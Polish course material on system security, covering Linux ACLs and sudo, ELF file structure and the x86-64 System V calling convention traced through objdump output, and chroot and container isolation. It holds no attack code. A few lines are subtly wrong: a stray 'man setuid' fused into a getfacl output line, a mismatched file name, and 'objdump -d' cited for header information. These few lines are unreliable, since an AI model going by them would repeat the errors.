ACL i SUDO

Podstawowy model praw dostępu

• Prawo do odczytu (oznaczane r)
• Prawo do zapisu (oznaczane w), które nie implikuje i nie zakłada istnienia prawa do odczytu. Można zapisać dane do pliku, którego nie możemy odczytać.
• Prawo do wykonywania (oznaczane x), które nie implikuje prawa do odczytu, ale którego realizacja wymaga posiadania prawa do odczytu. Można wykonać plik tylko, gdy możemy go odczytać.
• Prawo do korzystania z katalogu (oznaczane x), które nie implikuje i nie zakłada istnienia prawa do jego odczytu ani zapisu. Można móc czytać informacje z katalogu, ale jednocześnie nie móc się odwoływać do plików w nim się znajdujących i wchodzić do wnętrza katalogu. Podobnie można móc się odwoływać do plików w katalogu (jeśli skądinąd wiemy, że one w nim są), ale nie móc odczytać jego zawartości.

Mechanizmy lokalnej kontroli dostępu

• przydzielania trzech standardowych uprawnień (rwx) nie tylko dla jednego użytkownika - właściciela pliku, ale dla dowolnie wskazanych, potencjalnie wielu użytkowników,
• przydzielania uprawnień nie tylko dla jednej grupy - grupy pliku, ale dla dowolnie wskazanych, potencjalnie wielu grup,
• szybkiego ograniczenia praw dla wielu użytkowników,
• przywiązania opisu praw, jakie otrzymują nowo tworzone zasoby, do katalogów, a nie tylko do użytkowników.

Linux

1. Zawartość Listy Kontroli Dostępu

• właściciel (user:: lub u::)
• wskazany przez nazwę użytkownik (user:nazwa_użytkownika: lub u:nazwa_użytkownika:) [dodatkowy mechanizm]
• grupa właściciela (group:: lub g::)
• wskazana przez nazwę grupa (group:nazwa_grupy: lub g:nazwa_grupy:) [dodatkowy mechanizm]
• maska (mask::) [dodatkowy mechanizm]
• pozostali (other::)

2. Szybkie odbieranie uprawnień - maska

user:testowy:r-x
mask::rw-

3. Algorytm sprawdzania uprawnień dostępu

• jeżeli użytkownik jest właścicielem pliku - zastosuj uprawnienia właściciela,
• jeżeli użytkownik jest na liście użytkowników wskazanych z nazwy - zastosuj efektywne (patrz punkt 2) uprawnienia nazwanego użytkownika,
• jeżeli jedna z grup użytkownika jest grupą właściciela i posiada odpowiednie efektywne prawa - zezwól na dostęp,
• jeżeli jedna z grup użytkownika występuje jako grupa wskazana z nazwy i posiada odpowiednie efektywne prawa - zezwól na dostęp,
• jeżeli jedna z grup użytkownika jest grupą właściciela lub należy do grup wskazanych z nazwy, ale nie posiada dostatecznych efektywnych uprawnień - dostęp jest zabroniony,
• jeżeli nie zachodzi żadne z powyższych - uprawnienia tzw. pozostałych określają możliwość dostępu.

4. Polecenia do odczytu i określania list ACL

• getfacl
• setfacl

% touch plik-testowy
% ls -l plik-testowy
-rw-r--r-- 1 janek bsk 0 2016-10-05 14:46 plik-testowy

% getfacl plik-testowy
# file: plik-testowy
# owner: janek
# group: bsk
user::rw-
group::r--
other::r--

% getfacl plik-testowy –-omit-header
user::rw-
group::r--
other::r--

a) Zmiana uprawnień - opcja -m

% setfacl -m u:ala:rwx plik-testowy

% getfacl plik-testowy
# file: plik-testowy
# owner: janek
# group: bsk
user::rw-
user:ala:rwx
group::r--
mask::rwxman setuid
other::r--

% ls -l plik-testowy
-rw-rwxr--+ 1 janek bsk 0 2016-10-05 14:46 plik-testowy

b) Usunięcie uprawnień - opcja -x

% setfacl -x u:ala plik-testowy
% getfacl plik.txt –-omit-header
user::rw-
group::r--
mask::r--
other::r--

% ls -l plik.txt
rw-r--r--+ 1 janek bsk 0 2016-10-05 14:46 plik-testowy

5. Prawa dostępu dostępu dla nowo tworzonych zasobów

% setfacl -d -m group:testowa:wx bsk-lab1
% getfacl bsk-lab1 –-omit-header
user::rwx
group::r-x
other::r-x
default:user::rwx
default:group::r-x
default:group:testowa:-wx
default:mask::rwx
default:other::r-x

Windows

Podsumowanie

• Elastyczność, możliwość nadawania dowolnie skomplikowanych uprawnień bez konieczności tworzenia dużej liczby grup.
• Ułatwienie migracji, tworzenia i konfigurowania heterogenicznych środowisk z systemami operacyjnymi Windows i Linux (oprogramowanie Samba wspiera ACL).

• Edytory, które automatycznie zapisują zawartość w nowym pliku, a następnie zmieniają jego nazwę na oryginalną, mogą tracić informację o rozszerzonych uprawnieniach.
• Programy archiwizujące (np. tar) nie potrafią zapisywać informacji o listach kontroli dostępu.

% getfacl -R --skip-base . >backup.acl

Czytaj też

Rozszerzanie uprawnień zwykłych użytkowników w Linuksie (SUDO)

su root

su - root

<użytkownik>  <komputer>=(<efektywny-użytkownik>)  <programy>

dobo  ALL=(ALL)  ALL

dobo  localhost=  ALL

<span class="inline inline-center">
sudo -l

Mechanizm SUID i SGID

man sudo
man sudoers
man setuid
man setgid

Zadanie pokazujące aktywność

identyfikator_klienta imię nazwisko

1. każdy klient z listy miał prawo do odczytu plików, które powstaną w katalogu kredyty, a pracownik miał prawo do odczytu i zmiany plików z tego katalogu, a także miał prawo dodawać do niego elementy,
2. każdy klient z listy miał prawo do odczytu i zapisu plików, które powstaną w katalogu lokaty, a także miał możliwość tworzenia plików w tym katalogu; jednocześnie pracownik miał prawo do czytania plików z tego katalogu, ale nie miał prawa do ich zmieniania, dodawania i usuwania,
3. za pomocą polecenia sudo pracownik może przyjąć tożsamość jednego z klientów i wykonać jego operacje, dodaj do skryptu kilka operacji na lokatach i kredytach wykonywanych przez pracowników za pomocą sudo podszywających się pod klientów.

Powstały skrypt prześlij na Moodle.

Analiza plików obiektowych oraz ABI

Analiza plików obiektowych oraz ABI

Podstawowa struktura plików obiektowych

Po skompilowaniu programy lub biblioteki są zapisywane w systemie w postaci plików. Pliki te mają standaryzowany format, ale w różnych systemach operacyjnych odmienny. W systemach uniksowych (czyli we wszystkich linuksach) obecnie dominuje format ELF (ang. Executable and Linkable Format), który jest dostępny dla wielu architektur maszyn (np. x86, M68k, x86-64 czy ARM lub ARM 64-bits). Tego formatu można się spodziewać w plikach o rozszerzeniach: .axf, .bin, .elf, .o, .out, .prx, .puff, .ko, .mod and .so, ale też i w plikach bez rozszerzeń. Format ELF jest odmienny od formatu PE (ang. Portable Executable), w którym zapisane są pliki w systemach Windows. Również innym formatem - Mach-O - posługują się systemy firmy Apple. Na potrzeby tej lekcji skupimy się na formacie ELF i narzędziach służących do jego oglądania.

Podstawowym narzędziem, którego będziemy używali do oglądania plików w formacie ELF jest polecenie objdump. Za jego pomocą możemy się dowiadywać różnych ciekawych informacji na temat plików z kodem wykonywalnym. Na przykład podstawowe informacje wynikające z nagłówka pliku ELF możemy uzyskać za pomocą:

  # objdump -d <nazwa_pliku>

Oto kilka przykładowych wyników działania tego polecenia:

# objdump -f /bin/ls

/bin/ls:     file format elf64-x86-64
architecture: i386:x86-64, flags 0x00000150:
HAS_SYMS, DYNAMIC, D_PAGED
start address 0x0000000000006b10

# objdump -f /lib/libasm.so.1

/lib/libasm.so.1:     file format elf32-i386
architecture: i386, flags 0x00000150:
HAS_SYMS, DYNAMIC, D_PAGED
start address 0x00002760

# objdump -f /lib64/libasm.so.1

/lib64/libasm.so.1:     file format elf64-x86-64
architecture: i386:x86-64, flags 0x00000150:
HAS_SYMS, DYNAMIC, D_PAGED
start address 0x0000000000002750

# objdump -f /lib64/libg.a
In archive /lib64/libg.a:

dummy.o:     file format elf64-x86-64
architecture: i386:x86-64, flags 0x00000011:
HAS_RELOC, HAS_SYMS
start address 0x0000000000000000

Z których możemy wyczytać, że tylko trzy z nich działają w architekturze 64-bitowej (x86-64), trzy mogą brać udział w dynamicznym ładowaniu (DYNAMIC), wszystkie mają tablicę symboli (HAS_SYMS), dla trzech strony procesu dla kodu wykonywalnego pochodzącego z danego pliku mogą być przydzielane dynamicznie (D_PAGED). Dla jednego pliku możemy wyczytać, że jest archiwum bibliotecznym, a dla wszystkich mamy podany adres, pod który skoczy proces po załadowaniu pliku do pamięci, gdy potraktujemy kod jako plik wykonywalny (start address).

Ten ostatni adres jest szczególnie interesujący dla pliku /bin/ls, ale więcej o tym, co tam się znajduje, dowiemy się za chwilę. Wcześniej przyjrzyjmy się dokładniej strukturze plików ELF, w szczególności plików wykonywalnych.

Ogólna, typowa struktura pliku ELF ma następującą postać:

            /-------------------\
            | Nagłówek ELF      |---\
/---------> >-------------------<   | e_shoff
|           |                   |<--/
| Section   | Nagłówek sekcji 0 |
|           |                   |---\ sh_offset
| Header    >-------------------<   |
|           | Nagłówek sekcji 1 |---|--\ sh_offset
| Table     >-------------------<   |  |
|           | Nagłówek sekcji 2 |---|--|--\
\---------> >-------------------<   |  |  |
            | Sekcja 0          |<--/  |  |
            >-------------------<      |  | sh_offset
            | Sekcja 1          |<-----/  |
            >-------------------<         |
            | Sekcja 2         |<--------/
            \-------------------/

Jak widać, początki sekcji są wyznaczane przez odpowiednie wskaźniki. Oznacza to, że w zasadzie faktyczna kolejność sekcji może być odmienna. Typowy układ sekcji wygląda tak:

 /-------------------\
 | Nagłówek ELF      |
 >-------------------<
 | Nagłówki sekcji   |
 >-------------------<
 | .text             |  - sekcja ze skompilowanymi instrukcjami programu
 >-------------------<
 | .init             |  - sekcja ze instrukcjami programu służącymi do
 |                   |    jego inicjalizacji
 >-------------------<
 | .rodata           |  - sekcja z danymi tylko do odczytu 
 >-------------------<
 | .data             |  - sekcja z danymi inicjalizującymi, ale
 |                   |    zmienialnymi w trakcie działania programu
 >-------------------<
 | .bss              |  - dane statyczne inicjalizowane na zero
 >-------------------<
 | .symtab           |  - tablica symboli pozwalających wiązać różnego
 |                   |    rodzaju nazwy symboliczne z pozycjami w pliku
 |                   |    obiektowym
 >-------------------<
 | .rel.text         |  - sekcja ze skompilowanym kodem relokowalnym
 >-------------------<
 | .rel.data         |  - sekcja z danymi w formacie relokowalnym
 >-------------------<
 | .debug            |  - sekcja zawiera informacje potrzebne przy
 |                   |    debugowaniu, format zależny od debuggera
 |                   |    sprzężonego z kompilatorem
 >-------------------<
 | .line             |  - sekcja ta zawiera informacje potrzebne przy
 |                   |    debuggowaniu, a odpowiadające za powiązanie
 |                   |    kodu źródłowego z kodem asemblerowym w pliku obiektowym
 >-------------------<
 | .strtab           |  - napisy, zwykle napisy reprezentujące nazwy w
 |                   |    tablicy symboli 
 \-------------------/

Sekcje zawierają informacje potrzebne przy linkowaniu - czyli komponowaniu plików składowych w pliki wykonywalne, a na samym końcu w początkowy obraz procesu. W ostatecznym rachunku sekcje tworzą segmenty programu wykonywalnego. Oczywiście kolejność występowania sekcji w pliku jest dowolna i nie musi ona wyglądać tak jak na powyższym rysunku. Nazwy te mają charakter umowny i czasami wyglądają nieco inaczej (np. możemy mieć .rdata zamiast .rodata lub możemy mieć inne umiejscowienie fragmentów nazw wskazujących na relokowalny kod czy dane albo też bardziej rozbudowane nazwy sekcji z danymi do debugowania). Typowe przełożenie sekcji na segmenty w pamięci roboczej procesu wygląda następująco:

 /----------------------\
 | Pamięć jądra,        | -\ 
 | adresy niedostępne   |   > pamięć niewidoczna dla kodu procesu
 | dla procesu          | -/
 >----------------------<
 >----------------------<
 | Stos procesu         |
 | użytkownika          |
 >----------------------< <-- %esp (wskaźnik wierzchołka stosu)
 |           |          |
 |           v          |
 |                      |
 |           ^          |
 |           |          |                       
 >----------------------<
 | Region przeznaczony  |
 | na mapowanie         |
 | bibliotek dzielonych |
 >----------------------<
 |                      |
 |           ^          |
 |           |          |                       
 >----------------------< <-- rozszerzane za pomocą brk
 | Sterta procesu       |
 | (alokacja z pomocą   |
 |  malloc itp.)        |                           
 |                      |
 >----------------------<
 | Segment danych do    | -\
 | odczytu i zapisu     |  |
 | (sekcje .data .bss)  |  |  
 >----------------------<  >  dane ładowane z pliku
 | Segment danych tylko |  |  wykonywalnego
 | do odczytu (sekcje   |  |
 | .init .text .rodata) | -/
 >----------------------<  <-- zwykle: 0x0000000000400000 (64)
 |                      |              0x0000000008048000 (32)
 |                      |
 \----------------------/  <-- 0x0000000000000000

Oto jeszcze kilka przydatnych opcji programu objdump:

• # objdump -h <nazwa pliku> - wyświetli podstawowe informacje zawarte w nagłówkach sekcji,
• # objdump -x <nazwa pliku> - wyświetli podstawowe informacje zawarte we wszystkich nagłówkach pliku obiektowego,
• # objdump -d <nazwa pliku> - pokaże nam zdezasemblowany kod wykonywalnych sekcji programu,
• # objdump -D <nazwa pliku> - pokaże nam zdezasemblowany kod wszystkich sekcji programu,
• # objdump -D <nazwa pliku> - pokaże nam zdezasemblowany kod wszystkich sekcji programu,
• # objdump -s <nazwa pliku> - pokaże nam w postaci szesnastkowej, a tam gdzie się da w ASCII, zawartość wszystkich sekcji,
• # objdump -g <nazwa pliku> - pokaże nam zawartość sekcji związanych z debugowaniem,
• # objdump -t <nazwa pliku> - pokaże nam zawartość tablicy symboli (używanych przy dezasemblacji kodu),
• # objdump -T <nazwa pliku> - pokaże nam zawartość tablicy dynamicznie ładowanych symboli,
• # objdump -j <nazwa sekcji> <nazwa pliku> - pokaże nam zawartość wskazanej sekcji pliku.

Typowa sekwencja startowa programu

W części tej zaczniemy przedstawiać podstawowe informacje dotyczące ABI. ABI to skrót od angielskiego Application Binary Interface, czyli specyfikacji, która opisuje, jak kod programu współpracuje z jego otoczeniem wykonawczym. W szczególności właśnie tam jest opisana procedura inicjalizacji procesu, ale także lokalizacja kodu i danych, sposób korzystania ze stosu, konwencja wywoływania procedur czy zasady układania danych na odpowiednich granicach adresowych i.in. W obecnym materiale skupimy się nad popularnym ABI używanym w świecie systemów uniksowych działających na procesorach Intel x64, czyli nad System V AMD64 ABI.

Popracujemy teraz nad kodem następującego prostego programu

#include <stdio.h>

int process(int a) {
  int b = 3;
  return a+b;
}

int main(void)
{
    int n = 10;
    int i = 1;
    int sum = 0;
    for(;i<=n;i++)
        sum+=process(i);
    printf("\n Sum is : [%d]\n",sum);
    return 0;
}

umieszczonego w pliku o nazwie sum.c. Po jego skompilowaniu:

Otrzymamy plik wykonywalny sum, dla którego

da zawartość załączonego pliku sum_objdump.txt.

Na początek zwróćmy uwagę, że adresem startowym programu jest 0x0000000000401040. Pod tym adresem, jak widać w załączonym wyniku objdump, znajduje się symbol o nazwie _start i to rzeczywiście w to miejsce, a nie do funkcji main jest wykonywany skok na początku działania programu.

Przyjrzyjmy się kodowi związanemu z tym symbolem

0000000000401040 <_start>:
  401040:       f3 0f 1e fa             endbr64
  401044:       31 ed                   xor    %ebp,%ebp
  401046:       49 89 d1                mov    %rdx,%r9
  401049:       5e                      pop    %rsi
  40104a:       48 89 e2                mov    %rsp,%rdx
  40104d:       48 83 e4 f0             and    $0xfffffffffffffff0,%rsp
  401051:       50                      push   %rax
  401052:       54                      push   %rsp
  401053:       45 31 c0                xor    %r8d,%r8d
  401056:       31 c9                   xor    %ecx,%ecx
  401058:       48 c7 c7 3e 11 40 00    mov    $0x40113e,%rdi
  40105f:       ff 15 8b 2f 00 00       call   *0x2f8b(%rip)        # 403ff0 <__libc_start_main@GLIBC_2.34>
  401065:       f4                      hlt

Powyższy kod zaczyna się od instrukcji endbr64, której funkcją jest zabezpieczanie przed atakami związanymi ze skokami sterowanymi przez dane (programowanie zorientowane na powroty czy skoki). Część instrukcji skoku działa tak, że wykonanie skoku zakończy się wyjątkiem, jeśli punkt docelowy nie zaczyna się od właśnie tej instrukcji.

Następna instrukcja pod adresem 0x401044 zeruje zawartość rejestru %ebp, który to rejestr zawiera wskaźnik na rekord aktywacji aktualnej procedury zwany też ramką procedury. Działanie to jest wymagane przez ABI. Właśnie ono przepisuje, że wskaźnik ramki dla najbardziej zewnętrznej procedury powinien być zerowy. W przypadku pozostałych procedur wskaźnik ramki będzie dosyć niedaleki od adresu szczytu stosu, znajdującego się w rejestrze %rsp. Uwaga - xor na dolnej części rejestru %rbp, czyli właśnie na %ebp, powoduje wyzerowanie jego górnej części.

Kolejna instrukcja pod adresem 0x401046 zajmuje się już przygotowaniem parametrów wejściowych dla wywołania funkcji __libc_start_main, które ma miejsce pod adresem 0x40105f. W związku z tym opiszemy teraz używaną w opisywanym tutaj ABI konwencję wołania funkcji/procedur.

Konwencja obsługi funkcji/procedur w ABI - wołanie

W skrócie, według tej konwencji najpierw argumentom przypisywane są odpowiednie klasy (np. POINTER, INTEGER, SSE, MEMORY i.in.), a następnie w zależności od klasy przydzielane im są w kolejności od lewej do prawej odpowiednie lokacje sprzętowe. I tak pierwsze sześć lokacji dla argumentów całkowitoliczbowych (INTEGER) lub wskaźnikowych (POINTER) to odpowiednio rejestry %rdi, %rsi, %rdx %rcx, %r8, %r9 (ciekawostka: rejestr %r10 jest używany w językach takich jak Pascal, które oferują możliwość deklarowania funkcji/procedur zagnieżdżonych, wtedy pokazuje on na ramkę procedury, wewnątrz której zadeklarowana została wołana procedura). Dla argumentów zmiennoprzecinkowych pierwsze osiem lokacji to %xmm0, %xmm1, %xmm2, %xmm3, %xmm4, %xmm5, %xmm6, %xmm7. Dalsze argumenty, ale także argumenty o większych rozmiarach, są przekazywane na stosie.

Jeśli nie są używane specjalne opcje kompilatora, to adres powrotu z funkcji znajduje się tuż obok siódmego argumentu całkowitoliczbowego na stosie. Dodatkowo poniżej wskaźnika stosu istnieje tak zwana czerwona strefa, która z założenia nie będzie używana przez żadne procedury obsługi sygnałów czy przerwań. Kompilatory umieszczają tam czasami zmienne lokalne bez zmieniania zawartości rejestrów obsługujących stos %rbp czy %rsp. Jednak należy pamiętać, że takie optymalizacje mają sens tylko w przypadku funkcji, które nie wywołują już żadnych innych funkcji - wywołania tych ostatnich popsują zawartość tego obszaru.

Analiza wywołania __libc_start_main w _start

Wiedząc tyle na temat ABI, możemy wrócić do analizy funkcji _start. Zanim jeszcze tam przejdziemy warto wiedzieć, że przed wywołaniem tej funkcji stos ma następującą zawartość:

/-----------------\
|       NULL      |
>-----------------<
|       ...       |
|       envp      |
|       ...       |
>-----------------< 
|       NULL      |
>-----------------<
|       ...       |
|       argv      |
|       ...       |
>-----------------<
|       argc      | <- rsp
\-----------------/

Dodatkowo rejestr %rdx zawiera przy wejściu do _start adres funkcji zajmującej się terminacją obsługi bibliotek dzielonych. Pomoże nam to zrozumieć, dlaczego następne instrukcje mają kształt widoczny na listingu.

Jak wspomnieliśmy od adresu 0x401046 znajduje się kod, który przygotowuje parametry wejściowe dla wywołania z biblioteki standardowej funkcji __libc_start_main. Funkcja ta ma następujący interfejs:

  int __libc_start_main (
      int (*main) (int, char **, char **),  // adres kodu funkcji main, %rdi
      int argc,                             // liczba argumentów polecenia, %rsi
      char **argv,                          // tablica argumentów polecenia, %rdx
      __typeof (main) init,                 // konstruktor programu, %rcx
      void (*fini) (void),                  // destruktor programu, %r8
      void (*rtld_fini) (void),             // adres funkcji terminacji dla
                                            // bibliotek dzielonych załadowanych
                                            // przed kodem obecnego pliku, %r9
      void *stack_end                       // wskaźnik na szczyt stosu, na stosie
      )

W komentarzach opisane zostało znaczenie poszczególnych argumentów oraz wynikające z ABI pozycje argumentów w rejestrach i na stosie. Wszystkie argumenty są albo całkowitoliczbowe, albo wskaźnikowe, dlatego wypełnione zostają kolejno wszystkie rejestry odpowiedzialne za przekazywanie argumentów. Dzieje się to w następujący sposób:

• Pod adresem 0x401046 wypełniany jest rejestr %r9 podanym w %rdx adresem funkcji terminującej działanie bibliotek dzielonych załadowanych przed kodem z obecnego pliku.
• Pod adresem 0x401049 wypełniany jest rejestr %rsi znajdującą się na szczycie stosu liczbą argumentów polecenia.
• Pod adresem 0x40104a wypełniany jest rejestr %rdx adresem szczytu stosu, który po wykonanej wcześniej instrukcji pop wskazuje na tablicę argumentów polecenia.
• Pod adresem 0x40104d instrukcja and powoduje wyrównanie wskaźnika stosu przez obniżenie jego adresu do najbliższej pełnej wielokrotności 16, co jest wymagane przez ABI.
• Pod adresem 0x401051 instrukcja push wstawia wartość, która jest nieistotna z punktu widzenia działania programu. To jest po prostu śmieciowa wartość.
• Pod adresem 0x401052 za to instrukcja push powoduje zapisanie adresu czubka stosu, czyli siódmego argumentu funkcji __libc_start_main. Przy okazji - dwie instrukcje push obniżają szczyt stosu o 16 bajtów.
• Pod adresami 0x401053 i 0x401056 instrukcje xor zerują rejestry %r8, %rcx (trzeba sobie przypomnieć, co dokładnie robi xor na młodszej połówce rejestru).
• Pod adresem 0x401058 wreszcie wypełniany jest rejestr %rdi, jak łatwo stwierdzić na podstawie danych w pliku, adresem funkcji main.

Po tych wszystkich działaniach następuje rzeczywiście skok do __libc_start_main, która wykonuje wszystkie operacje niezbędne do uruchomienia kodu w C, a następnie woła funkcję main. Gdy zaś ta zakończy działanie, obsługuje też wszystkie działanie związane z wyjściem z procesu. W związku z tym w zasadzie wyjście z niej nie powinno nigdy nastąpić. Gdyby tak się jednak z jakiegoś powodu stało, to tuż za wywołaniem tej funkcji występuje instrukcja hlt, której wykonanie poza kodem jądra spowoduje błąd i proces zakończy natychmiast działanie w sposób awaryjny.

Konwencja obsługi funkcji/procedur w ABI - wewnątrz funkcji

Przyjrzyjmy się teraz temu, jak swoje działanie organizuje funkcja, która została wywołana. Zrobimy to na przykładzie funkcji process z naszego programu sum.c.

Funkcja ta po zdezasemblowaniu ma taką postać:

0000000000401126 :
  401126:       55                      push   %rbp
  401127:       48 89 e5                mov    %rsp,%rbp
  40112a:       89 7d ec                mov    %edi,-0x14(%rbp)
  40112d:       c7 45 fc 03 00 00 00    movl   $0x3,-0x4(%rbp)
  401134:       8b 55 ec                mov    -0x14(%rbp),%edx
  401137:       8b 45 fc                mov    -0x4(%rbp),%eax
  40113a:       01 d0                   add    %edx,%eax
  40113c:       5d                      pop    %rbp
  40113d:       c3                      ret    

Procedury/funkcje w C muszą się trzymać zasady, że muszą zachowywać zawartość pewnych rejestrów. Chronione w ten sposób rejestry to %rbx, %rsp, %rbp oraz %r12-%r15.

To właśnie ta zasada powoduje, że w pierwszej instrukcji pod adresem 0x401126 na stos kładziona jest zawartość rejestru %rbp. Potem wartość ta jest odtwarzana pod adresem 0x40113c. Jednocześnie w tym samym miejscu niejawnie jest odtwarzana zawartość rejestru wskaźnika stosu %rsp. Pozostałe rejestry w kodzie nie są używane, więc nie zachodzi potrzeba ich odtwarzania.

Po zapamiętaniu oryginalnej wartości rejestru %rbp do rejestru tego wstawiany jest adres aktualnego szczytu stosu. Następnie w instrukcjach spod adresów 0x40112a i 0x40112d inicjalizowane są pod czubkiem stosu, we wspomnianej wcześniej czerwonej strefie, zmienne lokalne, odpowiednio a i b. Następnie pod adresami 0x401134 i 0x401137 następuje załadowanie wartości zmiennych do rejestrów roboczych, odpowiednio %edx i %eax. Wreszcie pod adresem 0x40113a następuje dodanie tych wartości. Wynik operacji trafia do rejestru %eax. Wykorzystana tutaj jest konwencja wychodzenia.

Konwencja wychodzenia z procedury/funkcji każe wartości całkowitoliczbowe lub wskaźnikowe o rozmiarze do 64 bitów umieszczać w rejestrze %rax (%eax to młodsza połówka tego właśnie rejestru), zaś o rozmiarze do 128 bitów w połączonych rejestrach %rax (młodsza połówka) i %rdx (starsza połówka). Wartości zmiennoprzecinkowe są na podobnej zasadzie podawane w rejestrach %xmm0 i %xmm1.

Ostatnia instrukcja procedury/funkcji to ret, która to instrukcja przenosi sterowanie pod adres wskazany na szczycie stosu. Jeśli włamywacze niczego nie popsuli, to jest to adres procedury/funkcji, z której nasza funkcja była wołana. W przypadku naszego przykładowego kodu będzie to zawsze adres funkcji main.

Dalsze lektury

• Pełny opis ABI
• Poszerzyć wiedzę o plikach ELF można dzięki temu tutorialowi.
• Tutorial na temat procedury uruchamiania procesu można przeczytać tutaj.
• I jeszcze jeden tutaj.

Ćwiczenie

Rozważmy następujący program:

#include <stdio.h>

int process(int a) {
  int ar[8] = { 0, 1, 2, 3, 4, 5, 6, 7 };
  ar[3]=a;
  int sum = 0;
  for (int i=0;i<8;i++) 
    sum+=ar[i];
  return sum;
}

int main(void)
{
    int n = 10;
    int i = 1;
    int sum = 0;
    for(;i<=n;i++)
        sum+=process(i);
    printf("\n Sum is : [%d]\n",sum);
    return 0;
}

Po skompilowaniu i użyciu objdump uzyskaliśmy zrzut dezasemblera z pliku sum_array_objdump.txt. Przyjrzyj się temu zrzutowi i dopisz w komentarzach po dwuznaku // umieszczonych w pobliżu miejsca związanego z pytaniem odpowiedzi na następujące pytania:

• Jaki jest adres lub rejestr, w którym przechowywana jest zmienna i z funkcji main()?
• Jaki jest adres lub rejestr, w którym przechowywana jest zmienna sum z funkcji main()?
• Jaki jest adres lub rejestr, w którym przechowywana jest zmienna i z funkcji process()?
• Jaki jest adres lub rejestr, w którym przechowywana jest zmienna sum z funkcji process()?
• Jaki jest adres początku tablicy ar z funkcji process()?
• Jak jest zlokalizowany w stosunku do adresu początku i końca tablicy ar adres, pod którym znajduje się adres powrotu z funkcji process()?

Wartości adresów podaj symbolicznie, np. obecny adres szczytu stosu minus 16. Zmodyfikowany tak przez dodanie komentarzy plik należy przesłać do Moodle.

Chroot i Docker

1. Bezpieczne środowisko uruchamiania aplikacji

Jeśli aplikacja (np. serwer http) jest uruchamiana pod systemem operacyjnym, w szczególności np. z uprawnieniami roota, w przypadku umiejętnego wykorzystania błędu atakujący może uzyskać bardzo szerokie uprawnienia, m.in. nieograniczony dostęp do systemu plików. Włamywacze są bardzo łasi na wynajdowanie takich podatności.

W celu uniknięcia takich zagrożeń:

• należy uruchamiać aplikację z minimalnymi niezbędnymi uprawnieniami, w szczególności jako użytkownik inny niż root. Takie podejście jest szeroko stosowane, np. serwer HTTP Apache może być uruchomiony jako użytkownik inny niż root (zwykle http lub www);
• jeśli to możliwe, trzeba zadbać, aby proces miał dostęp do ograniczonych zasobów systemowych.

1.1. Ograniczenie przestrzeni aktywności procesu - chroot

W systemie Linux można uruchomić dowolny proces (i jego procesy potomne) ze zmienionym katalogiem głównym za pomocą polecenia chroot (można to też zrobić wewnątrz programu za pomocą wywołania systemowego chroot()). Uruchomiony w ten sposób proces nie może powrócić do rzeczywistego katalogu głównego w systemie plików. Można więc przygotować inny niż główny katalog zawierający pliki niezbędne dla aplikacji np. biblioteki czy pliki konfiguracyjne. Zwykle trzeba odwzorować część struktury katalogów i plików konfiguracyjnych, np. /etc, /usr/lib/, /var, /proc. Mechanizm chroot może być też przydatny dla celów testowania oprogramowania lub np. zrealizowania środowiska programistycznego ze specyficznym zestawem bibliotek i narzędzi. Do zalet należy także zaliczyć bardzo łagodną krzywą uczenia się przy korzystaniu z tego rozwiązania i brak konieczności modyfikacji jądra systemu operacyjnego.

1.1.1. Przykład użycia polecenia chroot

Jeśli docelowy katalog został przygotowany, można uruchomić proces, np.:

chroot /przygotowany_katalog /usr/sbin/apache2 -k start

1.1.2. Wady chroot

Sam w sobie chroot nie posiada mechanizmów limitowania zasobów używanych przez proces, użycie go nie zabezpiecza więc przed atakami DoS. (Ograniczenia takie można wprowadzić za to mechanizmem PAM).
Uruchomienie polecenia chroot wymaga uprawnień roota.
Chroot nie zmienia UID i GID procesu. Jeśli aplikacja sama nie zmieni UID, będzie wykonywana z prawami roota.
Istnieją sposoby, które pozwalają procesowi uruchomionemu z prawami roota, wyjście poza określony poleceniem chroot katalog -
opisano je w lekturze uzupełniajacej http://linux-vserver.org/Secure_chroot_Barrier.

Można przy okazji zacytować fragment listu Alana Coxa: "(...) chroot is not and never has been a security tool." :)

1.1.3 Przydatne triki

Jeżeli chcemy mimo wszystko przygotować katalog chroot, możemy ułatwić sobie życie na dwa sposoby. Po pierwsze można przygotować minimalną instalację jakiejś dystrybucji, aby uniknąć zgadywania, które pliki są potrzebne do pracy naszego programu; dotyczy to zwłaszcza bibliotek korzystających z wielu plików pomocniczych. Trzeba jednak pamiętać, aby nie umieszczać w systemie zbędnych programów z bitem SUID, które mogłyby być wykorzystane do „ucieczki” z chroota. Warto też pamiętać o poleceniu

mount --bind /proc /przygotowany_katalog/proc 
mount --rbind /dev /przygotowany_katalog/dev

pierwsza wersja powoduje, że pliki z systemu plików (lub jakiegoś katalogu z systemu plików) widocznego jako /proc będą też widoczne w katalogu /przygotowany_katalog/proc. Nie dotyczy to jednak katalogów podmonotwanych wewnątrz proc, np. /proc/sys/fs/binfmt_misc. Natomiast druga wersja obejmuje także katalogi podmontowane wewnątrz dowiązywanego katalogu.

1.2. Kontentery

Chociaż opanowanie podstawowej funkcjonalności chroot jest łatwe, to jak zaznaczyliśmy powyżej, użycie chroot do stworzenia szczelnie zamkniętego środowiska wykonawczego dedykowanego dla jednej aplikacji jest żmudne i wymaga sporego doświadczenia. Dlatego opracowane zostały bardziej kompleksowe rozwiązania, które pozwalają na lepsze opanowanie wskazanych trudności.

Naturalnym roszerzeniem chroota jest objęcie ograniczeniami także innych zasobów niż system plików. W idealnym świecie uruchomiony w takim ulepszonym chroocie – czyli kontenerze – program powinien zachowywać się tak, jakby był uruchomiony na maszynie wirtualnej na tym samym komputerze i z oddzielną kopią tego samego jądra. Jednak ponieważ naprawdę nie uruchamiamy nowego jądra, to nie występuje narzut spowodowany koniecznością obsługi wywołań systemowych przez dwa jądra, wirtualizacją urządzeń sprzętowych itp. Możemy także, jeżeli tego potrzebujemy, osłabić izolację w jakimś miejscu, aby programy bardziej efektywnie współpracowały. Ograniczeniem jest konieczność używania takiego samego jądra we wszystkich używanych kontenerach i systemie bazowym (choć to ograniczenie w ostatnich czasach zostało zupełnie zniwelowane).

W Linuksie implementacja kontenerów opiera się na uogólnieniu pojącia chroot do pojęcia namespace. Są one następujące i pozwalają izolować:

       Namespace   Constant          Isolates
       Cgroup      CLONE_NEWCGROUP   Cgroup root directory
       IPC         CLONE_NEWIPC      System V IPC, POSIX message queues
       Network     CLONE_NEWNET      Network devices, stacks, ports, etc.
       Mount       CLONE_NEWNS       Mount points
       PID         CLONE_NEWPID      Process IDs
       User        CLONE_NEWUSER     User and group IDs
       UTS         CLONE_NEWUTS      Hostname and NIS domain name

Tabelka pochodzi z man namespace(7). Tę stronę podręcznika systemowego należy przeczytać, a strony zależne przejrzeć. Należy także zapoznać się z możliwościami nakładania ograniczeń na procesy za pomocą grup cgroups(7).

